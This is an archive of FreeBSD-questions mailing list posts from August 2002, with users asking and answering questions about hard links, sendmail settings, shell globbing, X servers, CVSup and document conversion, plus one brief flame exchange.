get a stupid answer. you know? At least get a decent name for this FreeBSD
os you want to chop into linux and make it so any sweaty wife beating
greaseball can run a "Server"
-- 

The unixhideout network
http://www.unixhideout.com


-----------------------------------------
Free email that kicks ass from UnixHideout
   "The UnixHideout network"
http://www.unixhideout.com/



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From owner-freebsd-questions  Fri Aug  2 17:44:54 2002
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Date: Fri, 2 Aug 2002 17:44:45 -0700
From: Jim Mock <jim@FreeBSD.org>
To: Mike <root@unixhideout.com>
Cc: freebsd-questions@FreeBSD.org
Subject: Re: Oh man I'm going to get flamed
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On Fri, 02 Aug 2002 at 20:35:13 -0400, Mike wrote:
> > On Fri, 2 Aug 2002, Mike wrote:
> >> Stick with videos.. Please. --
> >
> > Very funny.  You mean "videoconferencing."  And anyways, there is an
> > expression: "The best of both worlds," you know?
> 
> "videoconferencing."
> It's two words. Not one.
> I know all about you. Your all about SPAM. Besides, ask a stupid
> question

That would be "You're".  If you're going to flame him for
"videoconferencing" at least spell shit right otherwise you end up
looking even more stupid than you did for flaming him in the first
place.

> get a stupid answer. you know? At least get a decent name for this
> FreeBSD os you want to chop into linux and make it so any sweaty wife
> beating greaseball can run a "Server"

Enough already.  Take this nonsense off list if you want to have a
bitchfest.  There's enough mail that comes through here without having
to scrape through this garbage too.

- jim

-- 
jim mock <mij@soupnazi.org>                            jim@FreeBSD.org

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Date: Fri, 2 Aug 2002 19:22:36 -0500
From: Dan Nelson <dnelson@allantgroup.com>
To: Pascal Giannakakis <capm@gmx.net>, freebsd-questions@FreeBSD.ORG
Subject: Re: smart file gobbling: exclude one file from list
Message-ID: <20020803002236.GA4398@dan.emsphone.com>
References: <001201c23a6e$17e78e60$0200a8c0@capm> <20020802215617.GA9408@dan.emsphone.com> <20020802220620.GN52563@freepuppy.bellavista.cz>
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In the last episode (Aug 03), Roman Neuhauser said:
> > In the last episode (Aug 02), Pascal Giannakakis said:
> > > if i do "cp * /destination", all files in the current directory
> > > will be copied to /destination. What do i have to type, if i want
> > > to expand the '*' to all files, except of one? For example, if i
> > > wanted to exclude the file "notme" in the current directory?
> > > 
> > > I know i could hack it with grep, but this fails as all files are
> > > on one line. I wonder how you gurus would solve this! :)
> > 
> > If you are using zsh and have the EXTENDED_GLOB option set,
> > 
> > cp *~notme /destination
> > 
> > Otherwise, you'll need to do something like
> > 
> > cp $(echo ' ' * ' ' | sed -e 's/ notme / /') /destination
> 
>     this is somewhat easier:
> 
>     cp $(echo `ls|grep -xv notme`) /destination

Although I don't think either will handle files with spaces in them. 

-- 
	Dan Nelson
	dnelson@allantgroup.com

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> Date: Fri, 2 Aug 2002 19:22:36 -0500
> From: Dan Nelson <dnelson@allantgroup.com>
> To: Pascal Giannakakis <capm@gmx.net>, freebsd-questions@FreeBSD.ORG
> Subject: Re: smart file gobbling: exclude one file from list
> 
> In the last episode (Aug 03), Roman Neuhauser said:
> > > In the last episode (Aug 02), Pascal Giannakakis said:
> > > > if i do "cp * /destination", all files in the current directory
> > > > will be copied to /destination. What do i have to type, if i want
> > > > to expand the '*' to all files, except of one? For example, if i
> > > > wanted to exclude the file "notme" in the current directory?
> > > > 
> > > > I know i could hack it with grep, but this fails as all files are
> > > > on one line. I wonder how you gurus would solve this! :)
> > > 
> > > If you are using zsh and have the EXTENDED_GLOB option set,
> > > 
> > > cp *~notme /destination
> > > 
> > > Otherwise, you'll need to do something like
> > > 
> > > cp $(echo ' ' * ' ' | sed -e 's/ notme / /') /destination
> > 
> >     this is somewhat easier:
> > 
> >     cp $(echo `ls|grep -xv notme`) /destination
> 
> Although I don't think either will handle files with spaces in them. 

    mine doesn't.

-- 
FreeBSD 4.6-STABLE
2:58AM up 3 days, 10:34, 8 users, load averages: 0.00, 0.00, 0.00

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From owner-freebsd-questions  Fri Aug  2 18:43: 2 2002
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From: Steve Mazerski <smazerski@yahoo.co.jp>
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Is there any particular reason why FreeBSD makes frequent use
of hard links instead of soft links when defining "alternative"
names for commands and other files?

e.g.  /usr/bin/nvi and /usr/bin/vi are the same file.

Linux distros tend to use  soft links for the same thing.

Just wondering

S.Mazerski


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From owner-freebsd-questions  Fri Aug  2 19:17:50 2002
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From owner-freebsd-questions  Fri Aug  2 19:52:32 2002
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Date: Fri, 2 Aug 2002 22:56:01 -0400
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I found out this evening that you have to say sendmail_enable="NONE" 
rather than sendmail_enable="NO" in order to shut it off. A cursory 
search didn't locate any other cases where NO won't do it. I hate to 
be a complainer, but I wonder if there is a good reason for this.

I'm not on this list, so if you want to beat me up for asking this, 
you'll have to send it directly to me. I subscribed for a while, but 
the volume got to me.

Thanks
-- 

-------------------------------------------------------------
Jimmy Wilkinson            | Perfesser of Computer Science
jimmy@cs.CofC.edu          | The College of Charleston
(843) 953-8160             | Charleston      SC        29424

If there is one word to describe me,
that word would have to be "profectionist".
Any form of incompitence is an athema to me.
Metathesis??? Don't ax me.

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From owner-freebsd-questions  Fri Aug  2 19:55: 7 2002
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Date: Fri, 2 Aug 2002 18:47:57 -0700
From: Adam Weinberger <adam@vectors.cx>
To: Steve Mazerski <smazerski@yahoo.co.jp>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Why hard, not soft links?
Message-ID: <20020803014757.GC9210@vectors.cx>
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if /usr/bin/nvi were a softlink to /usr/bin/vi, and you moved
/usr/bin/vi to /usr/bin/myeditor, then /usr/bin/nvi wouldn't point to
the correct place anymore, and would die.

furthermore, a softlink implies "this is a shortcut to running this
command," whereas a hardlink implies "this is another name for this
command."

FURTHERMORE, does $0 get set to the name of the calling softlink?

-Adam


>> (08.02.2002 @ 1844 PST): Steve Mazerski said, in 0.4K: <<
> 
> Is there any particular reason why FreeBSD makes frequent use
> of hard links instead of soft links when defining "alternative"
> names for commands and other files?
> 
> e.g.  /usr/bin/nvi and /usr/bin/vi are the same file.
> 
> Linux distros tend to use  soft links for the same thing.
> 
> Just wondering
> 
> S.Mazerski
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
>> end of "Why hard, not soft links?" from Steve Mazerski <<


--
"Oh good, my dog found the chainsaw."
        -Lilo, "Lilo & Stitch"
Adam Weinberger
adam@vectors.cx
http://vectors.cx


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From owner-freebsd-questions  Fri Aug  2 20: 6:53 2002
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in message <20020803014757.GC9210@vectors.cx>,
wrote Adam Weinberger thusly...
>
> does $0 get set to the name of the calling softlink?

yes it does... at least in shell scripts & perl programs.


-- 
 

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From owner-freebsd-questions  Fri Aug  2 20:16:52 2002
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From: Erik Trulsson <ertr1013@student.uu.se>
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On Fri, Aug 02, 2002 at 10:56:01PM -0400, James B. Wilkinson wrote:
> I found out this evening that you have to say sendmail_enable="NONE" 
> rather than sendmail_enable="NO" in order to shut it off. A cursory 
> search didn't locate any other cases where NO won't do it. I hate to 
> be a complainer, but I wonder if there is a good reason for this.
> 
> I'm not on this list, so if you want to beat me up for asking this, 
> you'll have to send it directly to me. I subscribed for a while, but 
> the volume got to me.

It is the way it is to avoid breaking people's old setups.
Sendmail was changed some time ago to require a daemon running for sending
email as well as for receiving it. (this change was done to avoid needing
to have the sendmail binary being setuid.)
To avoid breaking things for people who had sendmail_enable="NO" but still
expected to be able to send mail the meaning of "NO" was changed to the
current to allow them to do that.
"NONE" was then added to allow people to turn off sendmail completly.

If you want to know more I suggest you search the mailing list archives.
There have been several *long* threads about this subject and most
arguments both for and against the current setup has already been made, so
don't expect anything to change unless you have some new argument.





-- 
<Insert your favourite quote here.>
Erik Trulsson
ertr1013@student.uu.se


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From owner-freebsd-questions  Fri Aug  2 20:24:47 2002
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From: Erik Trulsson <ertr1013@student.uu.se>
To: Adam Weinberger <adam@vectors.cx>
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Subject: Re: Re: Why hard, not soft links?
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On Fri, Aug 02, 2002 at 06:47:57PM -0700, Adam Weinberger wrote:
> if /usr/bin/nvi were a softlink to /usr/bin/vi, and you moved
> /usr/bin/vi to /usr/bin/myeditor, then /usr/bin/nvi wouldn't point to
> the correct place anymore, and would die.
> 
> furthermore, a softlink implies "this is a shortcut to running this
> command," whereas a hardlink implies "this is another name for this
> command."
> 
> FURTHERMORE, does $0 get set to the name of the calling softlink?

Yes, actually it does.

Another reason is that hardlinks are somewhat more efficient.
A hardlink is just another name for a file, so all the hardlinks pointing
to the same file are equally fast. (Since they are the same file.)
For a soft link you first need to read the soft link to get the name of the
file it points to, and then find that file. For a hardlink you only need
the second step.
I would also expect a hardlink to use less space in a directory than a
softlink.

> 
> -Adam
> 
> 
> >> (08.02.2002 @ 1844 PST): Steve Mazerski said, in 0.4K: <<
> > 
> > Is there any particular reason why FreeBSD makes frequent use
> > of hard links instead of soft links when defining "alternative"
> > names for commands and other files?
> > 
> > e.g.  /usr/bin/nvi and /usr/bin/vi are the same file.
> > 
> > Linux distros tend to use  soft links for the same thing.
> > 
> > Just wondering
> > 
> > S.Mazerski




-- 
<Insert your favourite quote here.>
Erik Trulsson
ertr1013@student.uu.se


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From owner-freebsd-questions  Fri Aug  2 21:35:50 2002
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yeah well I did........configured X.........using the
e-book........(handbook.........whatever.......:->).....I did have a few
questions.........the book says you can use XDM for graphical
logins.......but the problem is i used XDM but after logging in X restarts
and i'm back at the same xdm login.........i have kdm ........any idea how I
could use that as a login agent.......?
Lastly.........how can I mount my Windows partitions ?

Thanx..........

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From owner-freebsd-questions  Fri Aug  2 21:45:35 2002
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At 2002-08-02T21:50:18Z, Peter Leftwich <Hostmaster@Video2Video.Com> writes:

> He he, coooool `man zero` -- this didn't appear until FreeBSD 4.4?!

No.  It appeared in 4.4BSD, which is what FreeBSD is based on.
-- 
Kirk Strauser
The Strauser Group - http://www.strausergroup.com/

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From owner-freebsd-questions  Fri Aug  2 21:56:32 2002
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From: "Nikhil Kriplani" <nmkripps@flashmail.com>
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Subject: X Server problem
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I use an Intel 810 video card.
When I run the x Server as root, it works fine, but as a user, the screen
blinks and the server dies.
I look at the log file and though there are no errors (EE), I get the
warning,

"(WW) I810(0): xf86AllocateGARTMemory: allocation of 1024 pages failed
(Cannot allocate memory)
No physical memory available for 4194304 bytes of DCACHE"

I have spent really long trying to get this i810 working. Any help will be
appreciated.

Thanks,
Nikhil.
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From owner-freebsd-questions  Fri Aug  2 22: 0:58 2002
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>
> I use an Intel 810 video card.
> When I run the x Server as root, it works fine, but as a user, the
> screen blinks and the server dies.
> I look at the log file and though there are no errors (EE), I get the
> warning,
>
> "(WW) I810(0): xf86AllocateGARTMemory: allocation of 1024 pages failed
> (Cannot allocate memory)
> No physical memory available for 4194304 bytes of DCACHE"
>
> I have spent really long trying to get this i810 working. Any help will
> be appreciated.
>
> Thanks,
> Nikhil.

Do you have the xwrapper installed? If you do, which i dont think you do,
maybe you have something configured to limit users usage? check login.conf
maybe. If you didnt physically edit anything about user limits then thats
not it. I think it's xwrapper. /usr/ports/x11/wrapper/
more pkg-descr then make install it. Let me know if this helps you.

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http://www.unixhideout.com


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From owner-freebsd-questions  Fri Aug  2 22:26:24 2002
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Subject: Re: Adding Firewall Rules
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I've scoured the net for a reference and as far as I am concerned this is
the best resource for this subject.

http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO


----- Original Message -----
From: "Peter Andrews" <subnero2001@yahoo.com>
To: <freebsd-questions@FreeBSD.ORG>
Sent: Friday, August 02, 2002 2:05 PM
Subject: Adding Firewall Rules


> Hi,
>
> Stupid question from a newbie, I have eventually
> figured out adding firewalls and Nat and dummynet etc
> but...
>
> I need to know how a can add all this rules so that
> they are enforced at startup. I would like to have the
> allow and deny rules set and the pipes setup at start
> up.
>
> Any help appreciated.
>
> Thanks in advance
>
> Mike
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Health - Feel better, live better
> http://health.yahoo.com
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Fri Aug  2 22:27: 1 2002
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Hello all,

I am a bit fustrated.  On this past Thurs I performed a cvsup using 4_6 
as the tag and performed "make buildworld" and received the following 
4.6.1-RELEASE-p6 FreeBSD 4.6.1-RELEASE-p6 when issuing a "uname -a".  I 
used the same tag today 4_6, "make buildworld" and received the 
following 4.6.0-RELEASE-p7 FreeBSD 4.6.0-RELEASE-p7.  What is going on? 
 If I put 4_6_1 as the tag my "/usr/src" is cleaned out but no new files 
are pulled down.  Which whould be the better to track?  I assume 4.6.1 
but cannot seem to find any servers that have those tags.



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From owner-freebsd-questions  Fri Aug  2 23:11:42 2002
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I would like to be able to autogenerate files of the following format:
.doc
.sdw
.rtf
.txt
.html
.pdf
.ps

from one "master file" it doesn't really matter to me which one is the 
master as long as I can edit it in XEmacs.  What tools for FreeBSD exist 
for this.  Which format should I start with ?  If its easier to start 
with a format I haven't listed, please let me know.

The other requirement, is that what ever .html file is generated needs 
to be able to be run through tidy and have it autocorrect any errors.

I know wv will do some of this. I've heard latex might work also.

My friend suggested starting with rtf ?

Thanks in advance.



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Webmaster & Webship Teacher
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From owner-freebsd-questions  Fri Aug  2 23:20:59 2002
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From: "Martin Tsanov" <cyberzone@odessos.org>
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Subject: startup script for killing the squid pid
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Hello list,

I have an internet cafe and use FreeBSD as a gateway/firewall
doing DNS, Apache, PHP, MySQL and Squid. Everything works
just great, except that i have an issue with Squid. This is not an
always on machine, it is switched on in the morning and turned off
in the evening. Sometimes (about 15%) Squid is not automatically
started and therefore the local clients can't access the internet.
When i try to run it manually, i get a message: Squid is already
running,
pid xxxx. So, i have to kill this pid and then start it manually. I
think
that somehow this pid has remained from the previous booting of the
machine.
Can someone recommend a startup script, which will check if the squid
pid exists, then killing it and only after that starting squid? My
shell is csh.

%uname -a
FreeBSD cyberzone.odessos.org 4.6-STABLE FreeBSD 4.6-STABLE #0:
Wed Jun 26 20:54:49 EEST 2002
Murphy@cyberzone.odessos.org:/usr/obj/usr/src/sys/CYBERZONE  i386

Thanx in advance.
Martin


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From owner-freebsd-questions  Fri Aug  2 23:49:42 2002
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Date: Sat, 3 Aug 2002 02:51:52 -0400 (EDT)
From: Ganesh Kumar <alganesh@m-net.arbornet.org>
To: Patricia Earlene Record <recorde@kirtland.cc.mi.us>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: os
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Earlene,
    Its good that you chose FreeBSD.Why dont you search for a FreeBSD
group near your home/work place and contact the volunteers for help.

I hope there are many in such groups to offer help absolutely free(atleast
to the basic installation stage).

You can also ask them for Boot Floppies :)

Pls take a look at http://www.freebsd.org/support.html#user

regards
Ganesh Kumar

On Fri, 2 Aug 2002, Patricia Earlene Record wrote:

> I was wondering. I am a single mother of three trying to find a new operating system for my laptop to free up my computer for my children. However, i am unable to purchase operating software because it is just to expensive and i cant afford to. I was reading your web site and was wondering if you had a free version of this on 3.5 floppy disks. My laptop only has floppy. if you could help please let me know. Thanks Earlene
>


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From owner-freebsd-questions  Sat Aug  3  0:11:30 2002
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From: Simon Siemonsma <simon.freebsd@hccnet.nl>
To: Joshua Lee <yid@softhome.net>
Subject: Re: FreeBSD compatibility
Date: Sat, 3 Aug 2002 09:11:24 +0200
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On Friday 02 August 2002 23:37, Joshua Lee wrote:
> On Thu, 25 Jul 2002 14:12:28 +0300
>
> "Tiago Marques" <motinhas_1@hotmail.com> wrote:
> > I'm a user of Linux, and i do some programming for college, some related
> > with sockets, processes, and all kinds of linux system programming.
> > I've been thinking about moving to FreeBSD but i would like to know if
> > the programs i do in Linux will be compatible with FreeBSD.
>
> Most of them will be compatable. The areas of different compatability would
> be solvable by a standard configure script. Binaries are also usually
> compatable, and the emulation is very fast - there's no noticable
> difference. As for sockets, though I've never ported TCP/IP code between
> the two, Linux's TCP/IP stack was originally lifted from BSD. (Though
> FreeBSD's implementation is not only more mature, BSD having the very first
> implementation of a TCP/IP stack under ARPA's auspices, it has become
> better tuned over time and is considered one of the fastest.)

Beware however that Linux browser plug-ins would not work with native FreeBSD 
programs. So if you install KDE you can't use the linux Flash plugin with 
FreeBSD. The same is true for the cross-over plug-in.
Personally I'm considering switching to Gentoo because of this.

Simon Siemonsma
>
> > Also, i'm a regular user, but not very experienced in Linux, i just know
> > my way around, not much more. Do you think i'll be able to use FreeBSD
> > easily or is it more complicated to mantain and admin ?
>
> FreeBSD is more difficult to *install* than most major Linux distributions,
> but easier to *maintain* due to BSD inits and the ports system, among other
> things. (The latter means no more RPM-style DLL hell.) You'll find
> eventually that BSD is easier to use than Linux in many tasks because it is
> better designed.
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

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From owner-freebsd-questions  Sat Aug  3  0:14: 5 2002
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Date: Sat, 03 Aug 2002 00:12:23 -0700
From: David Smithson <david@customfilmeffects.com>
Subject: Re: tar? how to force alphanumneric order in archives
To: FreeBSD-Questions <freebsd-questions@FreeBSD.ORG>
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I assume I did not receive a response to my original message because:
 
  * I posted the message with a confusing subject
  * I posted the message during a mean-time at which knowledgable 
hackers around the globe are:
    ** drinking beers!
    ** sleeping
    ** too busy flaming over-zealous users
  * The subject of the posted message was not specifically FreeBSD related
  * I did not afford the greatest effort to finding a solution and thus 
repelled many battle-tested hackers.

In any case, I believe the latter is most likely.  I will try to 
incorporate into my rudimentary scripts a pipe function through ls that 
will sort the filenames in alpha-numeric order and feed them back to 
tar.  Er... what a pain.  A simple solution is right in front of me, I'm 
sure.  Enterprise archive management for UNIX?  Where is it?  Does 
anyone need/want it?

David Smithson wrote:

>Hello friends.  I have another question concerning TAR backups.
>
>So, I'm using scripts to backup batches of directories full of image
>sequences.  A typical line of the script looks like:
>
>tar cvf /dev/nrsa0 imagesequencedir
>
>The frames always write to tape out of order.  How can I force the files to
>write in alphanumeric order without having to feed the filenames to tar with
>a text file?
>
>--
>David Smithson - Systems Administrator
>Custom Film Effects
>
>
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-questions" in the body of the message
>
>  
>



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From owner-freebsd-questions  Sat Aug  3  1:13:45 2002
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Subject: Backing up a sever with Windows product?
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I've been reading alot of info about backing up and using the dump command.
This seems to be the solution. But I am familar with window and I use my
WinOS for sole use to back up the partition installing FreeBSD (4 gigs).

I am using a product call Parogon, the difference between backing up Windows
and Unix is that when Windows is backed up it using compression, but not in
freeBSD so I have a 4 gig back up copy. I realize dump doesn't copy the free
Space. Is it posible for a windows package to compress it as dump does?


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From owner-freebsd-questions  Sat Aug  3  1:36: 3 2002
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Date: Sat, 03 Aug 2002 03:35:34 -0500
To: listman@diversetech.net, freebsd-questions@freebsd.org,
	freebsd-stable@freebsd.org
From: Christopher Schulte <schulte+freebsd@nospam.schulte.org>
Subject: Re: 4.6.0 or 4.6.1 RELEASE in CVS !!!
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X-Loop: FreeBSD.ORG

At 01:26 AM 8/3/2002 -0400, listman100 wrote:
>Hello all,
>
>I am a bit fustrated.  On this past Thurs I performed a cvsup using 4_6 as 
>the tag and performed "make buildworld" and received the following 
>4.6.1-RELEASE-p6 FreeBSD 4.6.1-RELEASE-p6 when issuing a "uname -a".  I 
>used the same tag today 4_6, "make buildworld" and received the following 
>4.6.0-RELEASE-p7 FreeBSD 4.6.0-RELEASE-p7.  What is going on? If I put 
>4_6_1 as the tag my "/usr/src" is cleaned out but no new files are pulled 
>down.  Which whould be the better to track?  I assume 4.6.1 but cannot 
>seem to find any servers that have those tags.

Just keep tracking RELENG_4_6, which will always bring you the latest
4.6.x-RELEASE-px goodies.

4.6.1-RELEASE was an unofficial 'leak' release of 4.6-RELEASE, and
4.6.2-RELEASE will be replacing it as the official 4.6 security release.
Soon. :-)

It's just a matter of what name it's called, but RELENG_4_6 is still
what you want.

--
Christopher Schulte
http://www.schulte.org/
Do not un-munge my @nospam.schulte.org
email address.  This address is valid.


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From owner-freebsd-questions  Sat Aug  3  2: 8:41 2002
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Date: Sat, 3 Aug 2002 01:45:58 -0700
From: Benjamin Krueger <benjamin@seattleFenix.net>
To: Peter Leftwich <Hostmaster@Video2Video.Com>,
	freebsd-questions@freebsd.org
Subject: Re: Oh man I'm going to get flamed
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* Peter Leftwich (Hostmaster@Video2Video.Com) [020802 16:03]:
> I've been thinking a lot about an offshoot version of FreeBSD that newbian
> users could get from the kern.flp / mfsroot.flp process and its sysinstall...
> 
> There would be a checkbox for [ ]HomeFreeBSD or [ ]HomeBSD or the like
> (users could pay $19.95 for a CDROM and seven days of e-mail support, too).
> 
> Just hear me out *grin*
> 
> It would include the latest XFree86, KDE (or whatever most resembles the
> familiar StartButton), and OpenOffice.  Out of the box.  It would include
> viewers and players for common media -- practically built-in to KDE and its
> menus -- for files of type *.pdf, *.ra, *.asx, *.swf, *.doc, *.mov, *.qt,
> *.mpeg, *.mpg, *.mp3 and many other popular file types.
> 
> I think that would be nice.
> 
> HomeBSD might even include a tiny, simple binary that logs into a site at
> something like www.homebsd.org/cvsup/compare.cgi to make upgrades easier...
> or uses cvsup's port and protocol to accomplish this.  :)
> 
> A fairy ghost would fly of your diskette drive and install everything for you too.
> 
> Not.
> 
> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555

  It isn't a terribly bad idea, however I assume the real problem is finding
resources. That includes coming up with methods to build this home version
from the current CVS tree, or keeping an entire new tree and release folks to
maintain it. Since this is a home version, you also need QA, a binary upgrade
system suitable for end users covering both individual apps and the system as
a whole. Ports is another sticky mess. Will Home users really wait an hour
while evolution compiles and installs, bringing all of its gnome buddies with
it?

  When you're talking home edition software, you're also talking about
integration of everything. XP has it. OS X has it. Some linux distributions
make attempts at it. Users expect it.

  I'm sure there are a hundred different things I'm not even thinking of that
would need consideration. Don't consider this a put off, I think it would be a
nifty product, however there are a lot of hurdles in the way and personally,
I've other projects in the wings. =)  Maybe a movement will spring up though,
who knows.

Regards,

-- 
Benjamin Krueger

"Life is far too important a thing ever to talk seriously about."
- Oscar Wilde (1854 - 1900)
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From owner-freebsd-questions  Sat Aug  3  2:16:23 2002
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From: Katinka Mills <katinka@magestower.com>
To: "freebsd-questions" <freebsd-questions@FreeBSD.ORG>
Subject: Support for the brother HL 1440 laser printer
Date: Sat, 3 Aug 2002 17:03:46 +0800
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Hi all,

I run X with KDE3 and share my printer to the server (which runs samba) and on 
shares the printer to all the WINBLOWS machines.

I read the documentation on the brother website and they say to use ljet4 
drivers when no brother ones exist. 

If I send text to the printer no problems, but if I print from ghostscript I 
get errors :o(

Does anyone know where the hl 1250 (a compatable printer) drivers are ? and 
how to add them without recompiling GS ?

Regards,

Kat.

-- 
--------------------------------------------------------------------------------------------
K.A.Q. Electronics
Software and Electronic Engineering
Perth, Western Australia
Phone +61 (0) 419 923 731
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From owner-freebsd-questions  Sat Aug  3  2:56:24 2002
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From: "Bokyung Wang" <wangbok@cs.pdx.edu>
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Subject: Booting failed: init: /bin/sh on /etc/rc terminated abnormally, going to single user mode
Date: Sat, 3 Aug 2002 02:43:56 -0700
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Hello,

During the booting time, I have some problems with FreeBSD 4.3
It says
"Mounting root from ufs:/dev/ad0s1a"
"pid 6(sh), uid 0: exited on signal 12"
"init: /bin/sh on /etc/rc terminated abnormally, going to single user mode."

After rebooting, it never goes into multi-user mode.
Does anybody know how to fix it?

Thanks.






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From owner-freebsd-questions  Sat Aug  3  3: 1: 1 2002
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Date: Sat, 3 Aug 2002 12:00:52 +0200
From: Janine C.Buorditez <janine@broadpark.no>
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Hello all!

I was just wondering, have anyone ever given this a go?

I'd appreciate any reply.

Love,
Janine

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From owner-freebsd-questions  Sat Aug  3  3:15:18 2002
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Date: Sat, 3 Aug 2002 11:15:05 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: "Philip M. Gollucci" <philip@p6m7g8.com>
Cc: questions@FreeBSD.ORG
Subject: Re: Text proccessing
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On Sat, Aug 03, 2002 at 02:03:14AM -0400, Philip M. Gollucci wrote:
> I would like to be able to autogenerate files of the following format:
> .doc
> .sdw
> .rtf
> .txt
> .html
> .pdf
> .ps
> 
> from one "master file" it doesn't really matter to me which one is the 
> master as long as I can edit it in XEmacs.  What tools for FreeBSD exist 
> for this.  Which format should I start with ?  If its easier to start 
> with a format I haven't listed, please let me know.
> 
> The other requirement, is that what ever .html file is generated needs 
> to be able to be run through tidy and have it autocorrect any errors.

If you start with TeX format, which you can generate easily in XEmacs,
then you can generate ps, pdf, rtf, html and txt fairly readily.  If
you have rtf, it should then be possible to generate doc and sdw:

  .tex
    --------------------------------------------
    |                                          |
    | latex (teTeX)                            | latex2rtf
    |                                          |
  .dvi                                       .rtf
    -----------------------           ---------------------------
    |          |          |           |            |            |    
    | dvips    | dvipdfm  | catdvi    | rtf2htm    | OpenOffice | OpenOffice
    |          |          |           |            |            |
  .ps        .pdf       .txt        .html        .doc         .sdw
    |          |
    | ps2pdf   | pdftohtml
    |          |
  .pdf       .html

There are any number of other programs that will do similar
conversions in ports, of greater or lesser quality.  I'm afraid you're
just going to have to experiment to find out what works best.  You can
hunt out candidates for dealing with particular file types by (eg.):

    cd /usr/ports
    make search key=pdf

There are other tricks to getting good results: for instance, using
postscript fonts rather than metafont fonts with TeX yields better
looking .pdf output
(http://www.aaai.org/Publications/Author/latex-fonts.html,
http://www.acm.org/toplas/latex/,
http://web.gat.com/diag/pci/ltx2pdf.html)

Apart from OpenOffice, all of these are command line and can be
readily scripted or used in Makefiles.  I know of no way of generating
.doc files or {Open,Star}Office file formats without firing up a GUI
and requiring human intervention.



-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Sat Aug  3  3:27:20 2002
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Date: Sat, 3 Aug 2002 12:27:15 +0200
From: Janine C.Buorditez <janine@broadpark.no>
To: questions@freebsd.org
Subject: Distribution of configuration files from CVS repository
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Hello.                                                                          
                                                                                
I was thinking that perhaps rsync would be an ideal method of managing your     
configuration files through a CVS repository.                                   
                                                                                
I'm not familiar with any other method of doing this, nor do I have the         
knowledge to create a script of my own. I believe you have, and perhaps will,   
if my suggestion is taken seriously.

I have created a CVS repository with the destination root directories and       
configuration files tucked inside them (~/cvs). This is where I'll be modifying 
my configurations, not directly onto the system. All I need now is a way to     
have them distributed, both locally and remotely, to my actual boxes.           
                                                                                
Perhaps one doesn't require rsync, or for that matter CVS to get this done.     
I do hope, however, that you'll be able to point me in the right direction.     
                                                                                
Thanks.

Love,
Janine

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From owner-freebsd-questions  Sat Aug  3  3:49: 4 2002
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Date: Sat, 3 Aug 2002 11:48:27 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: "Janine C.Buorditez" <janine@broadpark.no>
Cc: questions@FreeBSD.ORG
Subject: Re: Distribution of configuration files from CVS repository
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X-Loop: FreeBSD.ORG

On Sat, Aug 03, 2002 at 12:27:15PM +0200, Janine C.Buorditez wrote:

> I was thinking that perhaps rsync would be an ideal method of
> managing your configuration files through a CVS repository.

http://www.polstra.com/projects/freeware/CVSup/

All the advantages of rsync, but specially designed to distribute
files managed under CVS efficiently.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Sat Aug  3  4:31:28 2002
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Hello,

i have machine with 2 class c ips. but i have problem with limitng my users 
ips. is there way to make every user use only 1 ip??? i know this is work 
with firewall bu i want something else



hope someone can help me with this

Thanks


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From owner-freebsd-questions  Sat Aug  3  5:13:32 2002
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Date: Sat, 3 Aug 2002 05:13:24 -0700 (PDT)
From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: Limiting Multiple IP's (Was - Question)
To: Eqab Almutairi <gulfservers@hotmail.com>, questions@FreeBSD.org
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--- Eqab Almutairi <gulfservers@hotmail.com> wrote:
> 
> Hello,
> 
> i have machine with 2 class c ips. 

I asume that's 2 `class C' licences(255.255.255.0)

>                     but i have
> problem with limitng my users 
> ips. is there way to make every user use only 1
> ip??? i know this is work 
> with firewall bu i want something else

By users do you mean clients? Machines? is this a DHCP
question? A machine will only use 1 IP per adapter
unless you do something really wierd.

if it is DHCP, isc gives us the "One Lease Per Client"
option.

Or do you mean only allowing one user ie person one
connection/computer on network etc?

If you could clarify we could give you some better
info

Robert Backhaus


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Date: Sat, 3 Aug 2002 14:40:57 +0200
From: Mirza Muharemagic <mirza@php.co.ba>
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Subject: 4.6 installation problem ..
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Hi,

   i have a problem with freebsd 4.6 install process. everything is
   ok until i start the actuall installation (process of copying files
   from a cd to the disk). after i confirm everything and press ok for
   the question:
   "Last Chance! Are you SURE you want to continue the installation?
     If you're running this on a disk with data you wish to save then WE
     STRONGLY ENCOURAGE YOU TO MAKE PROPER BACKUPS before proceeding!
     We can take no responsibility for lost disk contents!
     [ Yes ]    No ... "

   installation is being started. but after a few seconds, i just see
   the message "filesystems habe been succesfully created" and nothing
   happens after that. i just this blue screen with this message, and
   and the installation stopps at this point.

   any ideas?? i now started installation of ver. 4.4.1, and
   everything is going pretty well.

   Thanx

   Mirza

   mirza@php.co.ba



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From owner-freebsd-questions  Sat Aug  3  5:51:34 2002
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Date: Sat, 3 Aug 2002 14:51:24 +0200
From: Janine C.Buorditez <janine@broadpark.no>
To: questions@freebsd.org
Subject: Mode switch rollercoaster after seejpeg crash termination
Message-Id: <20020803145124.6aea0cb6.janine@broadpark.no>
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Hi.

seejpeg stopped responding while viewing a picture in console.

Switching to any of the other virtual consoles did not work, hence I had to
remotely kill the hung up process. When I returned to the machine, the picture
was still there. I pressed CTRL+C and it went away, trying to switch back to
its original console video mode. But it seems to be switching forth and back
all the time, and I believe leaving my monitor on would be fatal.

Does anyone know what to do? The machine has such a nifty uptime that rebooting
it is not an option.

Love,
Janine

